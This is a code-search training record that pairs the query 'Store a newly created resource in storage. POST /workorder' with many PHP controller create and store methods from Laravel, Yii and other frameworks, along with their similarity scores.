"public function create()\n {\n \n return view('order.create');\n }",
"public function create()\n {\n return view('order-create');\n }",
"public function create()\n {\n return view('WorkFlow.WorkTask.add');\n }",
"public function actionCreate()\n\t{\n\t\t$model=new Order;\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['Order']))\n\t\t{\n\t\t\t$model->attributes=$_POST['Order'];\n\t\t\tif($model->save())\n\t\t\t\t$this->redirect(array('view','id'=>$model->id));\n\t\t}\n\n\t\t$this->render('create',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}",
"public function create()\n {\n return view('order.create');\n }",
"public function create()\n {\n return view('order.create');\n }",
"public function create()\n {\n return view('order.create');\n }",
"public function actionCreate()\n {\n $model = new WorkItem();\n\n if(Yii::$app->user->can('manager')) {\n $model->construction_site_id = ConstructionSite::findOne(['manager_id' => Yii::$app->user->identity->employee_id])->id;\n }\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n 'construction_site_list' => ConstructionSite::getConstructionSitesArray()\n ]);\n }",
"public function create()\n {\n return view('admin.workouts.create');\n }",
"public function create()\n {\n return view('admin.order.create');\n }",
"public function create()\n {\n return view('admin.create_order');\n }",
"public function actionCreate()\n {\n $model = new OrderClient();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }",
"public function create()\n {\n return view('orders._form');\n }",
"public function create()\n\t{\n\t\treturn View::make('admin.orders.create');\n\t}",
"public function create()\n {\n\n return view('vendor.voyager.order.create');\n\n //\n }",
"public function create()\n {\n return view('crud.order.create');\n }",
"public function create()\n {\n return view('admin.homework.create');\n }",
"public function actionCreate()\n {\n $model = new Orders();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }",
"public function create()\n {\n return view('admin.orders.create');\n }",
"public function create()\n {\n //\n return view('quanly.orderdetail.create');\n }",
"public function create()\n {\n return view('pages.admin.orders.create');\n }",
"public function create()\n {\n return view('pages.admin.works.create');\n }",
"public function create()\n\t{\n\t\t$this->auth->restrict('Purchase_Order.Orders.Create');\n\n\t\tif (isset($_POST['save']))\n\t\t{\n\t\t\tif ($insert_id = $this->save_purchase_order())\n\t\t\t{\n\t\t\t\t// Log the activity\n\t\t\t\tlog_activity($this->current_user->id, lang('purchase_order_act_create_record') .': '. $insert_id .' : '. $this->input->ip_address(), 'purchase_order');\n\n\t\t\t\tTemplate::set_message(lang('purchase_order_create_success'), 'success');\n\t\t\t\tredirect(SITE_AREA .'/orders/purchase_order');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tTemplate::set_message(lang('purchase_order_create_failure') . $this->purchase_order_model->error, 'error');\n\t\t\t}\n\t\t}\n\t\tAssets::add_module_js('purchase_order', 'purchase_order.js');\n\n\t\tTemplate::set('toolbar_title', lang('purchase_order_create') . ' Purchase Order');\n\t\tTemplate::render();\n\t}",
"public function actionCreate()\n\n {\n\n $model = new Orders();\n\n\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n\n\t\t\t\n\n\t\t\tYii::$app->session->setFlash('orders', 'Orders has been added successfully');\n\n return $this->redirect(['view', 'id' => $model->id]);\n\n } else {\n\n return $this->render('create', [\n\n 'model' => $model,\n\n ]);\n\n }\n\n }",
"public function create() {\n if (!in_array('createWorkorder', $this->permission)) {\n redirect('dashboard', 'refresh');\n }\n\n $this->form_validation->set_rules('nomor_wo', 'Nomor WO', 'trim|required');\n $this->form_validation->set_rules('wo_name', 'Nama WO', 'trim|required');\n // $this->form_validation->set_rules('channel_name', 'Nama Channel', 'trim|required');\n // $this->form_validation->set_rules('produk_name', 'Nama Produk', 'trim|required');\n $this->form_validation->set_rules('marketing_name', 'Store', 'trim|required');\n $this->form_validation->set_rules('bobot', 'Bobot', 'trim|required');\n $this->form_validation->set_rules('input_date', 'Tanggal Input', 'trim|required');\n $this->form_validation->set_rules('deadline', 'Deadline', 'trim|required');\n $this->form_validation->set_rules('catatan', 'catatan', 'trim|required');\n $this->form_validation->set_rules('backend', 'backend', 'trim|required');\n $this->form_validation->set_rules('frontend', 'frontend', 'trim|required');\n $this->form_validation->set_rules('qa', 'qa', 'trim|required');\n\n\n if ($this->form_validation->run() == TRUE) {\n // true case\n $data = array(\n 'nomor_wo' => $this->input->post('nomor_wo'),\n 'wo_name' => $this->input->post('wo_name'),\n 'channel_name' => json_encode($this->input->post('channel')),\n 'produk_name' => json_encode($this->input->post('produk')),\n 'marketing_name' => $this->input->post('marketing_name'),\n 'bobot' => $this->input->post('bobot'),\n 'input_date' => $this->input->post('input_date'),\n 'deadline' => $this->input->post('deadline'),\n 'catatan' => $this->input->post('catatan'),\n 'backend_days' => $this->input->post('backend'),\n 'frontend_days' => $this->input->post('frontend'),\n 'qa_days' => $this->input->post('qa'),\n );\n if ($_FILES['workorder_image']['size'] > 0) {\n $upload_image = $this->upload_image();\n $data['lampiran'] = $upload_image;\n }\n\n $cek_wo = $this->model_workorder->cekWo($this->input->post('nomor_wo'));\n if ($cek_wo['jumlah'] > 0) {\n echo \"<script>alert('WO Number Already Exist!')</script>\";\n $this->session->set_flashdata('errors', 'WO Number Already Exist!');\n redirect('workorder/create', 'refresh');\n } else {\n $create = $this->model_workorder->create($data);\n }\n if ($create == true) {\n $this->session->set_flashdata('success', 'Successfully created');\n redirect('workorder/', 'refresh');\n } else {\n $this->session->set_flashdata('errors', 'Error occurred!!');\n redirect('workorder/create', 'refresh');\n }\n } else {\n // false case \n $this->data['channel'] = $this->model_channel->getActiveChannel();\n $this->data['produk'] = $this->model_produk->getActiveProduk();\n\n\n $this->render_template('workorder/create', $this->data);\n }\n }",
"public function create()\n\t{\n\t\t$present_users = \\App\\User::where('category', '!=', 0)->orderBy('created_at', 'desc')->get();\n\t\t\n\t\t$data = new \\App\\Work;\n\t\t$industries = \\App\\Industry::orderBy(\"sort\", 'asc')->get();\n\t\t$work_categories = \\App\\WorkCategory::orderBy('sort', 'asc')->get();\n\t\t$area_provinces = \\App\\AreaProvince::orderBy('sort', 'asc')->get(array('id','code', 'name', 'id'));\n\t\t$area_cities = null;\n\t\t$area_streets = null;\n\t\t\t\n\t\treturn view('admin.works.create')->with('data', $data)->with('present_users', $present_users)->with('area_provinces', $area_provinces)->with('area_cities', $area_cities)->with('area_streets', $area_streets)->with('work_categories', $work_categories)->with('industries', $industries);\n\t}",
"public function actionCreate()\n {\n $model = new Workplace();\n\n if ($this->request->isPost) {\n if ($model->load($this->request->post()) && $model->save()) {\n return $this->redirect(['cv/view', 'id' => $model->cv_id]);\n }\n } else {\n $model->loadDefaultValues();\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }",
"public function create()\n {\n return view('po.form', [\n 'po' => new PurchaseOrder(),\n 'action' => route('po.store'),\n 'method' => 'POST',\n 'title' => 'Create'\n ]);\n }",
"public function create()\n {\n $form = [\n 'action' => [\n 'WorksController@store',\n ],\n 'files' => TRUE,\n ];\n\n $title = [\n 'attributes' => [\n 'class' => 'form-control',\n 'placeholder' => '',\n 'name' => 'title',\n ],\n 'label' => [\n 'attributes' => [\n 'class' => 'h4',\n ],\n 'value' => 'Название',\n ],\n ];\n\n $slug = [\n 'attributes' => [\n 'hidden'\n ],\n ];\n\n $description = [\n 'attributes' => [\n 'class' => 'form-control',\n 'placeholder' => '',\n 'name' => Works::DESC,\n ],\n 'label' => [\n 'attributes' => [\n 'class' => 'h4',\n ],\n 'value' => 'Описание',\n ],\n ];\n\n $main_image = [\n 'attributes' => [\n 'class' => 'form-control-file main-image',\n\n ],\n 'label' => [\n 'attributes' => [\n 'class' => 'h4',\n ],\n 'value' => 'Основная картинка',\n ],\n ];\n\n\n return view('admin.works.create', [\n 'model' => new Works(),\n 'form' => $form,\n 'title' => $title,\n 'slug' => $slug,\n 'description' => $description,\n 'main_image' => $main_image\n ]);\n }",
"public function create()\n {\n\t\treturn view('worker.create');\n }",
"public function create()\n {\n $this->shareMenu();\n// $workshift = DB::table('employees as e')\n// ->join('employee_work_shift as ew','e.emp_number','=','ew.employee_emp_number')\n// ->get();\n $workshift = Employee::all();\n return view('backend.HRIS.admin.WorkShift.create',compact('workshift'));\n }",
"public function create()\n {\n return view('Order.form');\n return redirect()->route('Orders.index');\n }",
"public function create()\n {\n $user = Session::get('user');\n if ((is_null($user)) || (!$user->id))\n return redirect()->route('root');\n\n $service = Session::get('service');\n\n $payment_percentages = Order::select('payment_percentage')->where('payment_percentage', '<>', '')\n ->groupBy('payment_percentage')->get();\n $clients = Order::select('client', 'type')->where('client','<>','')->groupBy('client', 'type')->get();\n\n return View::make('app.order_form', ['order' => 0, 'payment_percentages' => $payment_percentages,\n 'clients' => $clients, 'service' => $service, 'user' => $user]);\n }",
"public function actionCreate()\n {\n $model = new ForestWork();\n\n // if ($model->load(Yii::$app->request->post()) && $model->save()) {\n // return $this->redirect(['view', 'id' => $model->id]);\n // }\n\n if ($model->load(Yii::$app->request->post())) {\n// Если поля в отчете не заполнены значениями при добавлении в БД проставляем нули\n for ($i = 1; $i <= 17; $i++) {\n $ai = \"a\".$i;\n $bi = \"b\".$i;\n if ($model->$ai == '') $model->$ai = 0;\n if ($model->$bi == '') $model->$bi = 0;\n }\n\n if ($model->save()) {\n return $this->redirect(['index']);\n }\n\n // if ($model->save()) {\n // return $this->redirect(['view', 'id' => $model->id]);\n // }\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }",
"public function actionCreate()\n {\n $model = new ForestWork();\n\n // if ($model->load(Yii::$app->request->post()) && $model->save()) {\n // return $this->redirect(['view', 'id' => $model->id]);\n // }\n\n if ($model->load(Yii::$app->request->post())) {\n// Если поля в отчете не заполнены значениями при добавлении в БД проставляем нули\n for ($i = 1; $i <= 17; $i++) {\n $ai = \"a\".$i;\n $bi = \"b\".$i;\n if ($model->$ai == '') $model->$ai = 0;\n if ($model->$bi == '') $model->$bi = 0;\n }\n\n if ($model->save()) {\n return $this->redirect(['index']);\n }\n\n // if ($model->save()) {\n // return $this->redirect(['view', 'id' => $model->id]);\n // }\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }",
"public function create()\n\t{\n\t\treturn View::make('orderdeliveries.create');\n\t}",
"public function create()\n {\n //return view('layouts.print orders.');\n }",
"public function create()\n {\n $status = $this->status->lists();\n return view('ipaperwork::admin.paperworks.create',compact('status'));\n }",
"public function create()\n {\n if (Gate::allows('create-order')) {\n return view('orders.create', [\n 'order' => null\n ]);\n }\n else {\n abort(403);\n }\n }",
"public function actionCreate()\n {\n /** @var Order $model */\n $model = new Order;\n // Load saved draft\n $draftModel = $model->getDraftOrderByUser($this->acl->getUser());\n if ($draftModel) {\n $model = $draftModel;\n }\n\n $event = new OrderCreatedEvent($model, $this);\n $model->onOrderCreated = [$event, 'sendNotification'];\n\n // Get current model scenario\n $scenario = $model->getScenario();\n\n // Uncomment the following line if AJAX validation is needed\n // $this->performAjaxValidation($model);\n\n if (isset($_POST['Order'])) {\n $model->setAttributes($_POST['Order']);\n $model->setAttribute('creator_id', Yii::app()->user->getId());\n $model->orderItems = $_POST['OrderItems'];\n\n if ($model->isDraft()) {\n $redirect = ['index'];\n $scenario = 'saveDraft';\n $model->setScenario($scenario);\n // Order is not created until it is actually posted\n // It is posted when status changed from \"Draft\"\n $model->setAttribute('created', null);\n } else {\n $model->setAttribute('created', date('Y-m-d'));\n $redirect = ['view', 'id' => $model->id];\n }\n\n // Same scenario should apply to related models\n if ($model->saveWithRelated(['orderItems' => ['scenario' => $scenario]])) {\n $this->redirect($redirect);\n }\n }\n\n $this->render('create', [\n 'model' => $model,\n ]);\n }",
"public function actionCreate()\n\t{\n\t\t\n\t\t//$data['model'] = new ClientForm();\n\n\t\t//$data['action'] = 'add';\n\t\t\n\t\t//$model=new Client;\n\t\t//$DPmodel=new Driverparticular;\n\t\t$data['modelBroker'] = new Broker;\n\t\t$data['model'] = new ClientForm();\n\t \t$data['DPmodel'] = new DriverParticularForm();\n\t\t$data['action'] = 'add';\n\t\t$data['i'] = 0;\n\t\t\n\t\t$this->render('_form', $data);\n\n\t\t\n\n\t}",
"public function actionCreate()\n {\n $model = new ListWarehouse();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n $model->generateDefaults(Yii::$app->request->get());\n return $this->render('form', ['model' => $model]);\n }\n }",
"public function create()\n {\n $parts = Part::all(); \n return view('purchaseOrders.create', ['parts'=>$parts]); \n }",
"public function create()\n {\n $data = OrderBus::get();\n return view('owner/order_bus.create', $data);\n }",
"public function create()\n\t{\n\t\t//\n\t\treturn view('relationships.create', compact('warehouse'));\n\t}",
"public function create()\n {\n $data = Order::getDataToCreteOrders();\n $data['invoice_comments'] = OfferSettings::whereType(2)->select('data')->first();\n $data['is_offer'] = 0;\n if (@$data) {\n return view('order.form', $data);\n }\n return Redirect::route($this->route)->with($this->warning, __('main.something_went_wrong'));\n }",
"public function create()\n {\n return view('order');\n }",
"public function create()\n {\n // $services = Service::all();\n $services = Service::all();\n return view('admin.orders.form', compact('services'));\n }",
"public function create()\n {\n return view('supplierorder.create');\n }",
"public function create()\n {\n return view('workers/create');\n }",
"public function create()\n {\n return view('workers.create');\n }",
"public function create()\n {\n $viewData['payrollEntry'] = new PayrollEntry();\n $viewData['employees'] = Employee::all();\n $viewData['payrollItems'] = PayrollItem::all();\n $viewData[\"mode\"] = \"create\";\n\n return view('pages.payroll.payroll-entries.form', $viewData);\n }",
"public function create()\n {\n return view('warehouse.create');\n }",
"public function create(CreateOrderRequest $request)\n {\n return view('backend.orders.create');\n }",
"public function create()\n {\n $orders = Order::all();\n $products = Product::all();\n $deliveries = Delivery::all();\n return view('orderdetails.create',compact('orders','products','deliveries'));\n }",
"public function create()\n {\n $contracts = Contract::all();\n $customers = Customer::all();\n return view('OrderForm')->with('customers', $customers)->with('contracts', $contracts);\n }",
"public function actionCreate()\n {\n $model = new Delivery();\n\n if ($model->load(Yii::$app->request->post()) && $model->validate()) {\n $model->save();\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }",
"public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}",
"public function create()\n {\n return view('web::ticket.create');\n }",
"public function create()\n {\n $order= Order::pluck('order_name','id')->prepend('Please Select','');\n return view('order/new')->with('order', $order);\n }",
"public function create()\n {\n return view('work/create_reel');\n }",
"public function create()\n\t{\n\t\treturn view('tickets.create');\n\t}",
"public function createorderAction()\n {\n\t\ttry{\n\t\t\t// Write your code here\n\t\t\t$sm = $this->getServiceLocator();\n\t\t\t$identity = $sm->get('AuthService')->getIdentity();\n\t\t\t\n\t\t\t$request = $this->getRequest();\n\t\t\tif($request->isPost()){\n\t\t\t\t$posts = $request->getPost()->toArray();\n\t\t\t\t$objOrderTable = $sm->get('Order\\Model\\OrderTable');\n\t\t\t\t\n\t\t\t\t$posts['order_attachment'] = $posts['multipleimagesHidden'];\n\t\t\t\tunset($posts['multipleimagesHidden']);\n\t\t\t\t\n\t\t\t\t/*foreach($posts as $key => $value){\n\t\t\t\t\tif(empty($value))\n\t\t\t\t\t\tunset($posts[$key]);\n\t\t\t\t}*/\n\t\t\t\t\n\t\t\t\tlist($d, $m, $y) = explode('/', $posts['exp_delivery_date']);\n\t\t\t\t$posts['exp_delivery_date'] = \"$y-$m-$d\";\n\t\t\t\t\n\t\t\t\tif(empty($posts['id'])){\n\t\t\t\t\t$posts['created_date'] = date('Y-m-d H:i:s');\n\t\t\t\t\t$posts['created_by'] = $identity['user_id'];\n\t\t\t\t}else{\n\t\t\t\t\t$posts['updated_date'] = date('Y-m-d H:i:s');\n\t\t\t\t\t$posts['updated_by'] = $identity['user_id'];\n\t\t\t\t}\n\t\t\t\tunset($posts['opp_name']);\n\t\t\t\t\n\t\t\t\techo $objOrderTable->createOrder($posts);\n\t\t\t}\n\t\t\texit;\n\t\t}catch(Exception $e){\n\t\t\t\\De\\Log::logApplicationInfo ( \"Caught Exception: \" . $e->getMessage () . ' -- File: ' . __FILE__ . ' Line: ' . __LINE__ );\n\t\t}\n }",
"public function create()\n {\n $action = route('rjo.store');\n $method = 'POST';\n $rjo = new Rjo();\n $rjo->customer = new Customer();\n\n return $this->form('Buat R.J.O ', $action, $method, $rjo);\n }",
"public function store(WorkCreateRequest $request)\n {\n $work = Work::create($request->workFillData());\n\n return redirect()\n ->route('admin.works.index')\n ->withSuccess('New Work Successfully Created.');\n }",
"public function create()\n\t{\n\t\treturn view('paymentby_cashiers.create');\n\t}",
"public function create()\n\t{\n\t\tif (\\Auth::user()) {\n\t\t\treturn view('orders.create');\n\t\t} else {\n\t\t\treturn view('auth.login');\n\t\t}\n\t\t\n\t}",
"public function create()\n\t{\n\t\treturn view('createtrip');\n\t}",
"public function create()\n {\n return view('truckmake.create');\n }",
"public function create()\n {\n //\n return view('purchaseorderc.purchaseordercs.create');\n }",
"public function create()\n {\n return view(\"shop.create\");\n }",
"public function createOrderAction()\n {\n $data = $this->Request()->getParams();\n $data = $data['data'];\n\n $orderNumber = $this->getOrderNumber();\n\n /** @var \\Shopware_Components_CreateBackendOrder $createBackendOrder */\n $createBackendOrder = Shopware()->CreateBackendOrder();\n $hasMailError = false;\n\n try {\n /** @var Shopware\\Models\\Order\\Order $orderModel */\n $orderModel = $createBackendOrder->createOrder($data, $orderNumber);\n\n if (!$orderModel instanceof \\Shopware\\Models\\Order\\Order) {\n $this->view->assign($orderModel);\n\n return false;\n }\n } catch (\\Exception $e) {\n $this->view->assign(\n [\n 'success' => false,\n 'message' => $e->getMessage()\n ]\n );\n\n return;\n }\n\n try {\n //sends and prepares the order confirmation mail\n $this->sendOrderConfirmationMail($orderModel);\n } catch (\\Exception $e) {\n $hasMailError = $e->getMessage();\n }\n\n if ($hasMailError) {\n $this->view->assign(\n [\n 'success' => true,\n 'orderId' => $orderModel->getId(),\n 'mail' => $hasMailError,\n 'ordernumber' => $orderModel->getNumber()\n ]\n );\n\n return;\n }\n\n $this->view->assign(\n [\n 'success' => true,\n 'orderId' => $orderModel->getId(),\n 'ordernumber' => $orderModel->getNumber()\n ]\n );\n }",
"public function create()\n {\n return view('warehouses.create');\n }",
"public function actionCreate()\n { \n $model = $this->getNewModel();\n $this->performAjaxValidation($model);\n $accoutordersearch = new Order;\n $accoutordersearch->unsetAttributes();\n $accoutordersearch->acnt_no = $model->acnt_no;\n \n if ( isset( $_POST['Account'] ) )\n {\n $this->saveAndRedirect($model);\n }\n else\n {\n if (Yii::app()->request->isAjaxRequest)\n {\n echo 'Nothing to save';\n Yii::app()->end();\n }\n }\n $this->render( 'create', array(\n 'model' => $model, 'accoutordersearch' => $accoutordersearch,\n ) );\n }",
"public function create()\n\t{\n\t\treturn View::make('transactions.create');\n\t}",
"public function create()\n {\n // Display form to create a new job\n return view('jobs.create');\n }",
"public function create()\n {\n return view('forms.create_business');\n }",
"public function create()\n {\n\t\t$result['customers'] = DB::table('customers')->where(['status'=>1])->get();\n return view('admin.order.create', $result);\n }",
"public function create()\n {\n return view('module.tickets.create');\n }",
"public function create()\n {\n //\n return view('pages.pengeluaran-order');\n }",
"public function create()\n\t{\n\t $warehouselist = WarehouseList::pluck(\"name\", \"id\");\n\t\t$businessunit = BusinessUnit::pluck(\"name\", \"id\");\n\n\t \n\t return view('.transactions.ReceivingRequest.create', compact(\"warehouselist\", \"businessunit\"));\n\t}",
"public function create()\n {\n $list_order = Order::all();\n $list_product = Product::all();\n return view('admin.orderItems.create',compact('order', 'list_order', 'list_product'));\n }",
"public function create()\n\t{\n\t\treturn View::make('roletasks.create');\n\t}",
"public function create()\n {\n return view('orders.create')\n ->with('cats', \\App\\Models\\Cat::where('parent_id',0)->get() )\n ->with('status', $this->status)\n ->with('pay_types', $this->pay_types)\n ->with('pay_places', $this->pay_places);\n }",
"public function create()\n {\n return $this->showForm('create');\n }",
"public function create()\n {\n return $this->showForm('create');\n }",
"public function create()\n {\n return view('pages.checkout.formcheckout');\n }",
"public function create()\n {\n // Show the create requirement form.\n return View::make('requirements/create');\n }",
"public function create()\n {\n return view('job.add_job');\n }",
"public function create()\n {\n //\n return view('users.accounting.transaction.create');\n }",
"public function create()\n\t{\n\t\treturn View::make('wagers.create');\n\t}"
] | [
"0.73005867",
"0.72937137",
"0.72670794",
"0.722147",
"0.7161734",
"0.71417385",
"0.712423",
"0.7105943",
"0.7081792",
"0.70722806",
"0.7055676",
"0.70545083",
"0.70278555",
"0.70276284",
"0.7025553",
"0.7025553",
"0.7025553",
"0.7019508",
"0.7012943",
"0.6988457",
"0.6987979",
"0.6974509",
"0.6966246",
"0.6957734",
"0.6955238",
"0.69540983",
"0.69435877",
"0.6924922",
"0.6917686",
"0.6898479",
"0.6870642",
"0.6837884",
"0.6832251",
"0.6819356",
"0.6818087",
"0.6803481",
"0.67756367",
"0.6769957",
"0.6752631",
"0.67509794",
"0.67188185",
"0.67062366",
"0.6689327",
"0.6687242",
"0.6687242",
"0.66835064",
"0.6632579",
"0.6629111",
"0.6623136",
"0.6610264",
"0.66091377",
"0.66075945",
"0.6594377",
"0.65918005",
"0.6573903",
"0.65678847",
"0.65586567",
"0.6557325",
"0.65501165",
"0.6547103",
"0.6542716",
"0.65416807",
"0.65369415",
"0.6512792",
"0.6510935",
"0.6509195",
"0.65001625",
"0.6492398",
"0.64839536",
"0.6481509",
"0.64706945",
"0.64695084",
"0.6466975",
"0.64458036",
"0.6443993",
"0.64431864",
"0.64418817",
"0.6440607",
"0.64298064",
"0.6427069",
"0.64270073",
"0.6422123",
"0.6418939",
"0.6417477",
"0.64169854",
"0.6416681",
"0.6414774",
"0.64138895",
"0.639969",
"0.6396729",
"0.6396608",
"0.63844115",
"0.638345",
"0.63831854",
"0.6382665",
"0.6382665",
"0.6381244",
"0.63790935",
"0.63776094",
"0.6374294",
"0.6364375"
] | 0.0 | -1 |
Store a newly created resource in storage. POST /workorder | public function store()
{
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function store(Request $request)\n {\n $workOrder = new WorkOrder();\n\n\n $workOrder->proposition()->associate($proposition);\n\n $workOrder->signatures()->associate();\n\n if (count($request->input('users'))) {\n\t\t\t$assignee = Employee::find( $request->input( 'users' )[0]['id'] );\n\t\t}\n\t\telse {\n\t\t\t$assignee = Auth::user();\n\t\t}\n\t\t$workOrder->assignee()->associate($assignee);\n\n $workOrder->title = $request->input('title');\n\n $workOrder->edition = $request->input('edition');\n\n $workOrder->assigner()->associate(Auth::user());\n\n $workOrder->type = $request->input('type');\n\n $workOrder->status = 'new';\n\n if ($request->input('deadline')) {\n\t\t\t$deadline = Carbon::createFromFormat( '!d. m. Y.', $request->input( 'deadline' ) );\n\t\t\t$workOrder->deadline = $deadline->toDateTimeString();\n\t\t}\n\t\telse {\n\t\t\t$workOrder->deadline = null;\n\t\t}\n\n\t\t$workOrder->priority = $request->input('priority')?$request->input('priority'):'low';\n\n $workOrder->note = $request->input('note');\n\n $workOrder->save();\n\n $final = collect($request->input('files.final'))->mapWithKeys(function($el) {\n\t\t\treturn [$el['id'] => ['is_final' => true]];\n\t\t});\n\t\t$initial = collect($request->input('files.initial'))->mapWithKeys(function($el) {\n\t\t\treturn [$el['id'] => ['is_final' => false]];\n\t\t});\n\t\t$initial = $initial->all();\n\t\t$final = $final->all();\n\t\t$workOrder->documents()->sync($initial + $final);\n\n return response()->json($workOrder);\n }",
"public function store(WorkCreateRequest $request)\n {\n $this->work->srvStore($request->all());\n\n return redirect()->route('works.index');\n }",
"public function store(Request $request): JsonResponse\n {\n $this->getOrCreateUser($request->input('user_id'));\n\n $req = $request->all();\n\n $workOrder = WorkOrder::create($req);\n\n return $this->success($workOrder);\n }",
"public function store( WorkFileRequest $request )\n\t{\n\t\t$data = WorkFile::create( $request->all() );\n\t\treturn response()->success( $this->getMessageFront( 'STORE' ), $data, route('client_works.edit', $data->work_id ) );\n\t}",
"public function store(CreatePaperworkRequest $request)\n {\n\n \\DB::beginTransaction();\n try {\n\n $this->paperwork->create($request->all());\n \\DB::commit();//Commit to Data Base\n\n return redirect()->route('admin.ipaperwork.paperwork.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('ipaperwork::paperworks.title.paperworks')]));\n\n } catch (\\Exception $e) {\n \\DB::rollback();\n \\Log::error($e);\n return redirect()->back()\n ->withError(trans('core::core.messages.resource error', ['name' => trans('ipaperwork::paperworks.title.paperworks')]))->withInput($request->all());\n\n }\n\n }",
"public function store()\n\t{\n $task = new Task();\n $task->description = Request::get('description');\n $task->owner = Auth::user()->id;\n $task->performer = intval(Request::get('performer')) ? intval(Request::get('performer')): null;\n $task->state = Request::get('state');\n $task->save();\n\n return Response::json(array(\n 'errors' => false,\n 'data' => $task),\n 200\n );\n }",
"public function store(WorkCreateRequest $request)\n {\n $work = Work::create($request->workFillData());\n\n return redirect()\n ->route('admin.works.index')\n ->withSuccess('New Work Successfully Created.');\n }",
"public function store(WorkRequest $request)\n {\n $data = $request->all();\n $data['slug'] = Str::slug($request->title).'-'.Str::slug($request->short_description);\n Work::create($data);\n\n return redirect()->route('work.index');\n }",
"public function store() {\n $NotepadID = request('NotepadID');\n\n //CALLS CREATE METHOD FROM TASKS MODEL AND\n //USES REQUESTS VARIABLES DATA TO STORE\n Tasks::create([\n 'task' => request('task'), \n 'description' => request('description'), \n 'NotepadID' => request('NotepadID')\n ]);\n\n //REDIRECTS TO TASK VIEW WITH NOTEPADID AS PARAMETER\n return redirect (\"/task/$NotepadID\");\n }",
"public function store(Request $request)\n {\n $newWorkUnit = WorkUnit::create([\n 'uuid' => Uuid::uuid4(),\n 'name' => $request->name\n ]);\n $newWorkUnit->makeChildOf($request->parent_id);\n return redirect(\"/list-workunit\");\n }",
"public function store(WorkRequest $request)\n {\n $work = new Work;\n\n $work->title = $request->title;\n $work->employer = $request->employer;\n $work->location = $request->location;\n $work->website = $request->website;\n $work->description = $request->description;\n $work->start = Carbon::parse($request->start);\n if ( $request->end ) {\n $work->end = Carbon::parse($request->end)->addHours(23)->addMinutes(59)->addSeconds(59);\n }\n else {\n $work->end = null;\n }\n\n $user = $request->user();\n\n $user->works()->save($work);\n\n return Response::json(array('saved'=>true, 'entry'=>view('cv/partials/workentry', ['work'=>$work])->render()));\n }",
"public function store()\n {\n $attributes = request()->validate([\n 'title' => 'bail|required|min:3|max:255|string',\n 'body' => 'bail|required|string|min:5',\n 'attachment' => 'sometimes|nullable|file|mimes:png,jpeg,gif,pdf|max:1024'\n ]);\n \n if (request()->hasFile('attachment')) {\n $path = request()->file('attachment')->store('/', 'ticket');\n $attributes['attachment'] = $path;\n }\n \n $ticket = auth()->user()->tickets()->create($attributes);\n \n if (request()->expectsJson()) {\n return response()->json($ticket->load('replies'));\n }\n \n return redirect(route('tickets.create', app()->getLocale()));\n }",
"public function store(request $request) {\n\n //Form-validation for these fields\n $this->validate(request(),[\n 'workimage' => 'required',\n 'worktext' => 'required'\n ]);\n\n $work = new Work();\n\n $work->user_id = auth()->user()->id;\n $work->workimage = $request->workimage;\n $work->worktext = $request->worktext;\n $work->style_id = $request->stylename;\n $work->save([$work]);\n\n\n //And then redirect to artist addwork page\n\n return redirect('artists/addwork');\n }",
"public function store()\n {\n $task = new Uploadrecipe;\n $task->title = request('title');\n $task->description = request('description');\n $task->ingriedients = request('ingredients');\n $task->directions = request('directions');\n //save it to the database\n $task->save();\n \n // //and then redirect to home page\n return redirect('/posts/create');\n }",
"public function store(StoreWaiterRequest $request)\n {\n $waiter = new Waiter;\n $waiter->restaurant_id = $request->input('restaurant_id');\n $waiter->fullname = $request->input('fullname');\n $waiter->phone_number = $request->input('phone_number');\n $waiter->pin = $request->input('pin');\n $waiter->employment_type = $request->input('employment_type');\n $waiter->on_shift = $request->input('on_shift');\n\n if($request->hasFile('profile_pic')) {\n $image = request()->file('profile_pic');\n $name = $waiter->id . '_' . $waiter->phone_number . '_profile_pic' . '.' . $image->getClientOriginalExtension();\n $folder = '/uploads/waiter/profile';\n $filePath = $this->uploadOne($image, $folder, $name);\n $waiter->profile_pic = $filePath;\n $waiter->save();\n }\n $waiter->save();\n\n return new WaiterResource($waiter);\n }",
"public function storeOrder($request);",
"public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }",
"public function store()\n\t{\n\t\tWorker::create(Request::all());\n\t}",
